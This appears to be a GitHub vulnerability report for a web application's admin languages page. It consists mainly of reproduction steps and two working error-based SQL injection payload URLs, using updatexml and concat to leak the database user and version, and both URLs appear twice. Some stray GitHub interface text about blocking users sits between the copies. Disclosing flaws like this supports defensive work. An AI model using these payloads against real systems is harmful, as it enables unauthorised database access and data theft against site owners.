1. Login with admin or users can set the language;
2. Send the following payload and follow redirect:
db user :http://xxx/admin.php?page=languages&language=zh_CN%27%20or%20updatexml(1%2Cconcat(0x7e%2C(user()))%2C0)%20or%20%27&action=activate

db version:http://127.0.0.1/admin.php?page=languages&language=zh_CN%27%20or%20updatexml(1%2Cconcat(0x7e%2C(version()))%2C0)%20or%20%27&action=activate

<!-- github-sync-id:818783675 -->
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
db user :http://xxx/admin.php?page=languages&language=zh_CN%27%20or%20updatexml(1%2Cconcat(0x7e%2C(user()))%2C0)%20or%20%27&action=activate
db version:http://127.0.0.1/admin.php?page=languages&language=zh_CN%27%20or%20updatexml(1%2Cconcat(0x7e%2C(version()))%2C0)%20or%20%27&action=activate
